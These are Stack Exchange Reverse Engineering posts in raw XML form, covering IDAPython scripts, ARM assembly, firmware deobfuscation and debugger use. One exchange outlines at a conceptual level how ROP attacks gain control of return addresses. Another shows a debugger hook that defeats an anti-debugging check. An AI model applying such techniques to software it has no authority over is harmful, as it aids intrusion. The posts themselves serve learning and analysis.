  <row Id="12946" PostTypeId="2" ParentId="12945" CreationDate="2016-06-28T11:06:54.770" Score="2" Body="&lt;p&gt;This happens because you are starting from the &lt;code&gt;ScreenEA()&lt;/code&gt; return value - this function returns the current EA in the disassembly window. When you're running from the command line it really can behave different.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To iterate over segments you can use &lt;code&gt;idautils.Segments()&lt;/code&gt; function (it allows iteration over all defined segments). If you want to get the first defined segment you can use &lt;code&gt;idc.FirstSeg()&lt;/code&gt; which should return the start address of the first segment. If you want to limit the work of your script to one segment you can check segment name with function &lt;code&gt;idc.SegName(ea)&lt;/code&gt;, where ea is an address within the segment, for example, as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import idautils&#xA;import idc&#xA;&#xA;for s in idautils.Segments():&#xA;    if idc.SegName(s) == &quot;your_segment_name&quot;:&#xA;         #do you work here&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;By the way, &lt;code&gt;4294967295&lt;/code&gt; in hex is &lt;code&gt;0xffffffff&lt;/code&gt; which is numeric value of &lt;code&gt;idc.BADADDR&lt;/code&gt;, which means invalid address or error.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastEditorUserId="2318" LastEditDate="2016-06-28T12:46:39.070" LastActivityDate="2016-06-28T12:46:39.070" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12947" PostTypeId="1" AcceptedAnswerId="14240" CreationDate="2016-06-28T11:55:25.367" Score="0" ViewCount="1020" Body="&lt;p&gt;I've been reversing an asm checksum code for the last days, and I've managed to understand how it completly works, except for one instruction; &lt;strong&gt;ldrh&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The info I've been able to found says that it's basically a ldr instruction which loads a half word (2 bytes). But the problem is that the ldr() instruction has a lot of variants and there's no info about how this one would be wrote in pseudo C.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically my instruction is:&lt;br&gt;&#xA;&lt;strong&gt;ldrh  r3,[r12,r3]&lt;/strong&gt;&lt;br&gt;&#xA;If it were a normal ldr, the pseudo code will be&lt;br&gt;&#xA;&lt;strong&gt;r3 = r12[r3];&lt;/strong&gt;&lt;br&gt;&#xA;(r12 is an addres to a memory place so I don't understand what it really does..Does it loads the value at r12+r3 into r3?&lt;/p&gt;&#xA;" OwnerUserId="16407" LastEditorUserId="16407" LastEditDate="2016-06-28T13:34:24.293" LastActivityDate="2016-12-24T16:07:25.857" Title="Arm Assembly: LDRH instruction to C" Tags="|assembly|decompilation|c|arm|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12951" PostTypeId="2" ParentId="12915" CreationDate="2016-06-29T08:52:58.083" Score="3" Body="&lt;p&gt;The actual console window is drawn and managed by conhost.exe, not cmd.exe.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/yDNRL.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/yDNRL.png&quot; alt=&quot;conhost.exe calling OpenClipboard&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2016-06-29T08:52:58.083" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12952" PostTypeId="2" ParentId="12904" CreationDate="2016-06-29T09:19:18.293" Score="1" Body="&lt;p&gt;There is also out of the box solution for this possible I developed to acquire IR image feed from special industry camera available only as a preview in the camera software. I needed the feed in my own application to regulate some heat process in Real-Time. I come up with this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Obtain target window Windows handler&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each visual component in Windows App has its own Handler and some are handled as windows as well. So:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;list all the Apps running in your system&lt;/li&gt;&#xA;&lt;li&gt;detect which one is your chat&lt;/li&gt;&#xA;&lt;li&gt;list all of its child handles/subwindows&lt;/li&gt;&#xA;&lt;li&gt;detect the right chat subwindow/subcomponent&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;for more info and C++ source how to do it see:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/a/11920/4709&quot;&gt;is ther a way an app can display a message without the use of messagebox API?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;obtain its Canvas image&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;OCR it&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Chats has usually pixel perfect single font so it should be easy and not too slow if done right so RealTime should be possible. You can use direct pixel comparison or something more advanced but still simple like:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/a/22879053/2521214&quot;&gt;OCR and character similarity&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Or use any OCR lib out there alike Tesseract ...&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;do your stuff with the text ...&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="4709" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2016-06-29T09:19:18.293" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12953" PostTypeId="1" CreationDate="2016-06-29T11:17:33.350" Score="0" ViewCount="450" Body="&lt;p&gt;i try to write ROP attack , but it need buffer overflow function. is there any way to write ROP to exploite normal binary.&lt;/p&gt;&#xA;" OwnerUserId="16564" LastActivityDate="2016-06-29T13:50:14.003" Title="is it possible to use ROP without buffer overflow" Tags="|disassembly|" AnswerCount="1" CommentCount="0" ClosedDate="2016-07-04T19:20:06.483" ContentLicense="CC BY-SA 3.0" />
  <row Id="12954" PostTypeId="2" ParentId="12953" CreationDate="2016-06-29T13:50:14.003" Score="1" Body="&lt;p&gt;Sure, the only necessary thing here is to control the return address of the current stack-frame and be able to build a '&lt;em&gt;stack-pivot&lt;/em&gt;'. Once you have that you can write your ROP approximately anywhere in memory (as long as you can reach it from the return address that you control). For example, you have some attacks that write their ROP in the heap (not in the stack) or in newly allocated memory pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, the usual ways to control the return addresses are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Buffer-overflows (but you do not want to use this);&lt;/li&gt;&#xA;&lt;li&gt;Heap-overflows (heap-spray, use after free, ...);&lt;/li&gt;&#xA;&lt;li&gt;Format string bugs.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There might be others but these are the ones I consider as '&lt;em&gt;classics&lt;/em&gt;' to control return address of a function.&lt;/p&gt;&#xA;" OwnerUserId="53" LastActivityDate="2016-06-29T13:50:14.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12955" PostTypeId="1" AcceptedAnswerId="12962" CreationDate="2016-06-29T14:38:25.353" Score="4" ViewCount="289" Body="&lt;p&gt;I can't figure out the meaning of &lt;code&gt;^&lt;/code&gt; in the CPU window of the immunity debugger. What does it mean?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/HSeDC.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/HSeDC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15907" LastActivityDate="2016-06-29T19:05:14.247" Title="What is the meaning of &quot;^&quot; in the CPU window of the Immunity debugger?" Tags="|disassembly|immunity-debugger|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12958" PostTypeId="1" CreationDate="2016-06-29T15:32:34.117" Score="1" ViewCount="437" Body="&lt;p&gt;I need to get hanging instructions i.e instructions which are not under any functions in a dll through idapython script? it is available in brown color when seen through IDA pro.&lt;/p&gt;&#xA;" OwnerUserId="16568" LastEditorUserId="12872" LastEditDate="2016-06-29T15:34:21.127" LastActivityDate="2016-06-29T19:10:51.887" Title="how to get hanging instructions of a dll using IDApython" Tags="|idapython|dll|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12959" PostTypeId="2" ParentId="12958" CreationDate="2016-06-29T15:49:07.137" Score="1" Body="&lt;p&gt;The naive solution will be to iterate over every instruction in the code and check if it is inside a function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using &lt;a href=&quot;http://sark.readthedocs.io/en/latest/&quot; rel=&quot;nofollow&quot;&gt;Sark&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for line in sark.lines():&#xA;    if not line.is_code:&#xA;        # The line is not a code line, so we skip it.&#xA;        continue&#xA;    if sark.is_function(line.ea):&#xA;        # Line is inside a function, skip it.&#xA;        continue&#xA;&#xA;    # The line is code outside a function. Print it.&#xA;    print line&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using standard IDAPython&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import idaapi&#xA;import idc&#xA;&#xA;def iter_all_lines():&#xA;    start = idaapi.cvar.inf.minEA&#xA;    end = idaapi.cvar.inf.maxEA&#xA;&#xA;    item = idaapi.get_item_head(start)&#xA;    while item &amp;lt; end:&#xA;        yield item&#xA;        item += idaapi.get_item_size(item)&#xA;&#xA;&#xA;def iter_hanging_lines():&#xA;    for line in iter_all_lines():&#xA;        if not idaapi.isCode(idaapi.getFlags(line)):&#xA;            # The line is not a code line, so we skip it.&#xA;            continue&#xA;&#xA;        if idaapi.get_func(line):&#xA;            # The line is inside a function, skip it.&#xA;            continue&#xA;&#xA;        # The line is code outside a function. Yield it.&#xA;        yield line&#xA;&#xA;&#xA;for line in iter_handing_lines():&#xA;    print &quot;[{:08X}]    {}&quot;.format(line, idc.GetDisasm(line))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12872" LastEditorUserId="12872" LastEditDate="2016-06-29T19:10:51.887" LastActivityDate="2016-06-29T19:10:51.887" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12960" PostTypeId="2" ParentId="12958" CreationDate="2016-06-29T15:50:41.243" Score="1" Body="&lt;p&gt;This command will find the address if hanging instruction next to the ScreenEA() and print it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import idaapi&#xA;import idc&#xA;addr = idaapi.find_not_func(ScreenEA(), 1)&#xA;if addr != idc.BADADDR: &#xA;    print &quot;0x%08x : %s&quot; % (addr, idc.GetDisasm(addr))&#xA;else:&#xA;    print &quot;Hanging instruction not found&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To print all the hanging instructions in the loaded binary, do the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import idaapi&#xA;import idc&#xA;addr = idaapi.find_not_func(0, 1)&#xA;while addr != idc.BADADDR:&#xA;    print &quot;0x%08x : %s&quot; % (addr, idc.GetDisasm(addr))&#xA;    addr = idaapi.find_not_func(addr, 1)&#xA;print &quot;No more hanging instruction found&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2318" LastEditorUserId="2318" LastEditDate="2016-06-29T16:19:21.343" LastActivityDate="2016-06-29T16:19:21.343" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12962" PostTypeId="2" ParentId="12955" CreationDate="2016-06-29T19:05:14.247" Score="6" Body="&lt;p&gt;Looks like it shows the direction of the jump (backwards in this case).&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2016-06-29T19:05:14.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12965" PostTypeId="1" CreationDate="2016-06-30T19:52:27.940" Score="3" ViewCount="852" Body="&lt;h1&gt;Introduction&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;For academical reasons I am reversing a firmware for an embedded device. I have already created a perl script which is able to parse the firmware structure and extract files from it (its some custom VXWORX/RTOS system with custom firmware header and obfuscation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have no access to the Device itself, i.e. I can not debug the firmware update process.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;What I have found out so far&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;There are two types of files in the firmware, easy XOR obfuscated files. I was able to detetect the single byte XOR key by quick analysis in hex editor.&#xA;The second type is a bit more obfuscated. This is used for more sensitive data.  But fortunately I have some of the files as clear text, downloaded directly from the Device via the Web interface.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These second, strong obfuscated and/or compressed type have following characteristics:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;small files are encoded with a little overhead (25%)&lt;/li&gt;&#xA;&lt;li&gt;larger files are compressed, but far from ideal (25-30% for HTML/Text)&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I tried several compression algorithms on the clear-text file to make sure they dont match the size of the encoded file&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;A single byte change can lead to multiple byte changed in the endoded versions&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h1&gt;Examples&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;First comes the original file, then the encoded as found in the firmware.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;o_000000.gif&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000000  47 49 46 38 39 61 04 00  04 00 80 00 00 00 00 00  |GIF89a..........|&#xA;00000010  ff ff ff 21 f9 04 01 00  00 01 00 2c 00 00 00 00  |...!.......,....|&#xA;00000020  04 00 04 00 00 02 04 84  8f 09 05 00 3b           |............;|   &#xA;0000002d&#xA;&#xA;00000000  40 04 07 ff 04 09 c4 b1  3b 9c 90 58 12 43 09 18  |@.......;..X.C..|&#xA;00000010  4c 03 f3 8f 28 f4 65 86  93 e7 fe e1 9f d5 5c 82  |L...(.e.......\.|&#xA;00000020  66 76 ea c1 0c 42 a9 ad  e3 bd f4 65              |fv...B.....e|&#xA;0000002c&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;o_0000ff.gif&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000000  47 49 46 38 39 61 04 00  04 00 80 00 00 00 00 ff  |GIF89a..........|&#xA;00000010  ff ff ff 21 f9 04 01 00  00 01 00 2c 00 00 00 00  |...!.......,....|&#xA;00000020  04 00 04 00 00 02 04 84  8f 09 05 00 3b           |............;|   &#xA;0000002d                                                                      &#xA;&#xA;00000000  40 04 04 c2 60 1f 9c 7c  10 20 b0 24 86 13 ff 14  |@...`..|. .$....|&#xA;00000010  7a 32 c3 49 27 12 c4 ee  73 c7 7c f9 ff 55 52 86  |z2.I'...s.|..UR.|&#xA;00000020  ee ee 53 58 21 e8 55 31  b2 4f 9e 0f b5           |..SX!.U1.O...|&#xA;0000002d&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;iframe.html&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000000  0d 0a 0d 0a 0d 0a 3c 69  66 72 61 6d 65 20 73 72  |......&amp;lt;iframe sr|&#xA;00000010  63 3d 22 68 74 74 70 3a  2f 2f 77 77 77 2e 73 6f  |c=&quot;http://www.so|&#xA;00000020  6c 61 72 6c 6f 67 31 30  30 2e 64 65 2f 76 69 73  |larlog100.de/vis|&#xA;00000030  75 2f 6b 61 72 77 61 74  68 2f 62 61 6e 6e 65 72  |u/karwath/banner|&#xA;00000040  2e 68 74 6d 6c 22 20 77  69 64 74 68 3d 22 32 30  |.html&quot; width=&quot;20|&#xA;00000050  30 22 20 68 65 69 67 68  74 3d 22 31 32 30 22 20  |0&quot; height=&quot;120&quot; |&#xA;00000060  6e 61 6d 65 3d 22 53 6f  6c 61 72 4c 6f 67 42 61  |name=&quot;SolarLogBa|&#xA;00000070  6e 6e 65 72 22 20 73 63  72 6f 6c 6c 69 6e 67 3d  |nner&quot; scrolling=|&#xA;00000080  22 6e 6f 22 20 66 72 61  6d 65 62 6f 72 64 65 72  |&quot;no&quot; frameborder|&#xA;00000090  3d 22 30 22 3e 0d 0a 3c  70 3e 49 68 72 20 42 72  |=&quot;0&quot;&amp;gt;..&amp;lt;p&amp;gt;Ihr Br|&#xA;000000a0  6f 77 73 65 72 20 6b 61  6e 6e 20 6c 65 69 64 65  |owser kann leide|&#xA;000000b0  72 20 6b 65 69 6e 65 20  65 69 6e 67 65 62 65 74  |r keine eingebet|&#xA;000000c0  74 65 74 65 6e 20 46 72  61 6d 65 73 20 61 6e 7a  |teten Frames anz|&#xA;000000d0  65 69 67 65 6e 3a 0d 0a  53 69 65 20 6b 26 6f 75  |eigen:..Sie k&amp;amp;ou|&#xA;000000e0  6d 6c 3b 6e 6e 65 6e 20  64 69 65 20 65 69 6e 67  |ml;nnen die eing|&#xA;000000f0  65 62 65 74 74 65 74 65  20 53 65 69 74 65 20 26  |ebettete Seite &amp;amp;|&#xA;00000100  75 75 6d 6c 3b 62 65 72  20 64 65 6e 20 66 6f 6c  |uuml;ber den fol|&#xA;00000110  67 65 6e 64 65 6e 20 56  65 72 77 65 69 73 0d 0a  |genden Verweis..|&#xA;00000120  61 75 66 72 75 66 65 6e  3a 20 3c 61 20 68 72 65  |aufrufen: &amp;lt;a hre|&#xA;00000130  66 3d 22 68 74 74 70 3a  2f 2f 77 77 77 2e 73 6f  |f=&quot;http://www.so|&#xA;00000140  6c 61 72 6c 6f 67 31 30  30 2e 64 65 2f 76 69 73  |larlog100.de/vis|&#xA;00000150  75 2f 6b 61 72 77 61 74  68 2f 62 61 6e 6e 65 72  |u/karwath/banner|&#xA;00000160  2e 68 74 6d 6c 22 3e 42  61 6e 6e 65 72 3c 2f 61  |.html&quot;&amp;gt;Banner&amp;lt;/a|&#xA;00000170  3e 3c 2f 70 3e 0d 0a 3c  2f 69 66 72 61 6d 65 3e  |&amp;gt;&amp;lt;/p&amp;gt;..&amp;lt;/iframe&amp;gt;|&#xA;00000180&#xA;&#xA;00000000  0b a2 e7 6d 2c f7 7b 0a  ca 5a 13 c9 74 80 16 29  |...m,.{..Z..t..)|&#xA;00000010  f1 42 98 94 65 32 93 53  5b ed 8b 95 b8 4b d3 d8  |.B..e2.S[....K..|&#xA;00000020  69 75 b3 48 84 28 5e aa  d7 6b 80 99 49 96 39 dd  |iu.H.(^..k..I.9.|&#xA;00000030  91 69 4c 13 ab 5e 7c 67  c6 7c 35 ed 68 c6 9c 55  |.iL..^|g.|5.h..U|&#xA;00000040  d5 96 d8 01 cf f6 30 52  95 b1 4a 67 53 91 22 fd  |......0R..JgS.&quot;.|&#xA;00000050  f3 7d ac 72 f8 5a 63 f9  d1 4c 19 88 0e ed 53 6c  |.}.r.Zc..L....Sl|&#xA;00000060  01 cf 6e 5f 76 0c cb 7d  1f 7d b7 62 f1 18 19 6e  |..n_v..}.}.b...n|&#xA;00000070  2f 47 db 7b 31 ac b7 1e  53 3a 8d 48 91 0e ed 56  |/G.{1...S:.H...V|&#xA;00000080  dc 5d 55 29 cf d6 4c b7  72 db eb 46 35 04 ab b5  |.]U)..L.r..F5...|&#xA;00000090  59 6f ed c3 9f 0d 73 86  36 ca 78 95 22 89 53 ff  |Yo....s.6.x.&quot;.S.|&#xA;000000a0  3b b7 9a f7 6a 9f fa f5  a7 5e b2 28 10 02 05 6f  |;...j....^.(...o|&#xA;000000b0  19 46 34 27 3b e4 2f 11  5f ec f8 8f e4 ff fa 65  |.F4';./._......e|&#xA;000000c0  a0 e7 d7 76 ad fb f2 75  eb 22 81 00 20 4f 1d 78  |...v...u.&quot;.. O.x|&#xA;000000d0  13 f4 e9 a0 e7 d7 02 a7  ed 5b eb 29 91 5f 6a df  |.........[.)._j.|&#xA;000000e0  92 a8 ab c2 cf 83 d3 5a  d3 55 7f 9d a3 76 52 d7  |.......Z.U...vR.|&#xA;000000f0  2d b0 03 9f ec 60 a5 2b  62 94 ce a7 22 45 fb e6  |-....`.+b...&quot;E..|&#xA;00000100  fb 58 e5 f0 b4 c7 f3 a2  98 33 10 1d da a6 d8 03  |.X.......3......|&#xA;00000110  9e e1 88 77 6a 9a c1 c2  d6 39 c3 9f 0d 63 da d1  |...wj....9...c..|&#xA;00000120  8d 42                                             |.B|&#xA;00000122&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h1&gt;Example File Downloads&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Binary versions of original and encoded files are provided.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://consolida.de/stackexchange/examples.zip&quot; rel=&quot;nofollow&quot;&gt;examples.zip&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://consolida.de/stackexchange/examples2.zip&quot; rel=&quot;nofollow&quot;&gt;examples2.zip&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update1: Second example uploaded with encrypted binary files. They all have in clear text a MX header like this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    hexdump -C extsd_new.exe&#xA;    00000000  4d 58 07 00 0f 00 01 00  03 00 26 00 ff ff 2e 00  |MX........&amp;amp;.....|&#xA;    00000010  00 03 00 00 00 00 00 00  2c 00 00 00 3c 14 be 54  |........,...&amp;lt;..T|&#xA;    00000020  00 00 00 00 00 00 00 00  00 00 00 00 ce 00 1b 00  |................|&#xA;    00000030  b9 68 0d be ce 1a 89 f7  1e a9 b5 80 8c c8 05 01  |.h..............|&#xA;    00000040  00 8e d8 05 13 00 8e c0  fd f3 a5 fc 2e 80 6c 12  |..............l.|&#xA;    00000050  01 73 e7 92 af ad 0e 0e  0e 06 1f 07 16 bd 31 00  |.s............1.|&#xA;    00000060  bb 0f 80 55 cb 55 50 58  21 0b 13 03 08 8d 43 8c  |...U.UPX!.....C.|&#xA;    00000070  ba 30 ad 68 62 5a 2b 00  30 1a 00 20 2d 00 00 1b  |.0.hbZ+.0.. -...|&#xA;    00000080  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&#xA;    *&#xA;    00000130  ff ba 24 00 2e 89 16 40  02 ff b4 30 cd 21 8b 2e  |..$....@...0.!..|&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16585" LastEditorUserId="16585" LastEditDate="2016-06-30T20:05:44.683" LastActivityDate="2018-06-13T19:19:51.370" Title="Reversal of unknown obfuscation or encryption with known plaintext" Tags="|firmware|encryption|deobfuscation|decompress|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12967" PostTypeId="2" ParentId="12915" CreationDate="2016-07-01T05:58:43.233" Score="1" Body="&lt;p&gt;well if you cant attach with windbg then you have some other problem&lt;br&gt;&#xA;&lt;code&gt;uac / clamped down / policy / whatever //&lt;/code&gt; conhost.exe is attachable&lt;br&gt;&#xA;(check if you are attaching to the correct conhost.exe there may be several some of them spawned by &lt;code&gt;system user&lt;/code&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;screenshot showing windbg being attached to conhost and broke on OpenClipBoard with Hwnd (HANDLE of consoleWindowClass)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/cFTG6.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/cFTG6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;on the paste operation &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:001&amp;gt; kb2&#xA; # ChildEBP RetAddr  Args to Child              &#xA;00 020afc28 00adf554 020afd34 00000111 00000000 conhost!DoPaste+0x3d&#xA;01 020afcb8 773ec4e7 00080260 00000111 0000fff1 conhost!ConsoleWindowProc+0x847&#xA;0:001&amp;gt; ub eip l1&#xA;conhost!DoPaste+0x37:&#xA;00ae2d05 ff155411ad00    call    dword ptr [conhost!_imp__GetClipboardData (00ad1154)]&#xA;0:001&amp;gt; ? @$retreg&#xA;Evaluate expression: 10616892 = 00a2003c&#xA;0:001&amp;gt; du poi(@$retreg)&#xA;00172fa0  &quot;2580 windbg.exe        Pid 3424 &quot;&#xA;00172fe0  &quot;- WinDbg:10.0.10586.567 X86&quot;&#xA;0:001&amp;gt; g&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;as to comment yes maybe i dont know&lt;br&gt;&#xA;a cursory glance over google says conhost is now a child of cmd in windows 10&lt;br&gt;&#xA;the conhost enhancements technical preview article by some ms devs don't mention anything about conhost being &lt;code&gt;protected super proteccted or ultra protected process&lt;/code&gt;&lt;br&gt;&#xA;and i dont have a win10 handy so i can answer your comment only when i spleunk under winX till then happy hunting&lt;/p&gt;&#xA;&#xA;&lt;p&gt;well it appears i can attach in winX too&lt;br&gt;&#xA;(winx is running in vmware player  (test mode ) ) &#xA;windbg screen shotted is runnning inside target os &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/8fmTn.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8fmTn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2016-07-01T10:29:12.650" LastActivityDate="2016-07-01T10:29:12.650" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12968" PostTypeId="1" AcceptedAnswerId="12989" CreationDate="2016-07-01T08:01:16.427" Score="3" ViewCount="1698" Body="&lt;p&gt;This is probably a stupid question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Imagine our dissassembled function takes 1 parameter, for example &quot;unsigned short *&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, in c++ this could be a BSTR, or something else...what is the best way to figure out the type of input that is expected? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now I am just making educated guesses..but there must be a better way? (Or if someone can point me to good books/resources covering this)&lt;/p&gt;&#xA;" OwnerUserId="16589" LastActivityDate="2016-07-04T19:24:27.740" Title="IDA - Best way to find out type of function parameters?" Tags="|ida|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12969" PostTypeId="1" CreationDate="2016-07-01T14:53:26.083" Score="3" ViewCount="582" Body="&lt;p&gt;I'm trying to debug an application that reads the Parent Process Id(PPID), to check if the application is being debugged. It expects the PPID to be the PID of explorer.exe, if it isn't, it quits. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To bypass this, I wrote a pycommand script. This script breaks at the end of (and before the pops and ret) Process32NextW and Process32FirstW. Below is the hook I'm using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class Process32NextWHook(LogBpHook):&#xA;&#xA;def __init__(self):&#xA;    LogBpHook.__init__(self)&#xA;    return&#xA;&#xA;def run(self, regs):&#xA;    imm = immlib.Debugger()&#xA;&#xA;    # Get the Out_ LPPROCESSENTRY32 lppe&#xA;    PROCESSENTRY32 = regs[&quot;EBP&quot;] + 16&#xA;&#xA;    # Get the DWORD th32ParentProcessID&#xA;    target_ppid = PROCESSENTRY32 + 24&#xA;&#xA;    # Get the DWORD th32ProcessID&#xA;    target_pid = imm.readMemory(PROCESSENTRY32 + 12, 4)&#xA;&#xA;    # Get the debugged process id&#xA;    self_pid = imm.getDebuggedPid()&#xA;&#xA;    # If the target pid matches our pid&#xA;    if int(target_pid.encode(&quot;HEX&quot;), 16) == self_pid:&#xA;        # Set our ppid to the pid of explorer.exe&#xA;        imm.writeMemory(target_ppid, explorer_pid)&#xA;        imm.log(&quot;[*] patch_ppid patched ppid!!&quot;)&#xA;&#xA;    return&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However the&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if int(target_pid.encode(&quot;HEX&quot;), 16) == self_pid:&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is never true.&#xA;My guess is that I use the wrong offsets, but I don't know what the right offsets would be. I could simply patch out the anti-debug measure, but that wouldn't be much of a learning experience.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="15916" LastActivityDate="2018-01-23T20:12:26.927" Title="Modifying PPID to avoid anti-debugging measure" Tags="|windows|python|anti-debugging|immunity-debugger|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
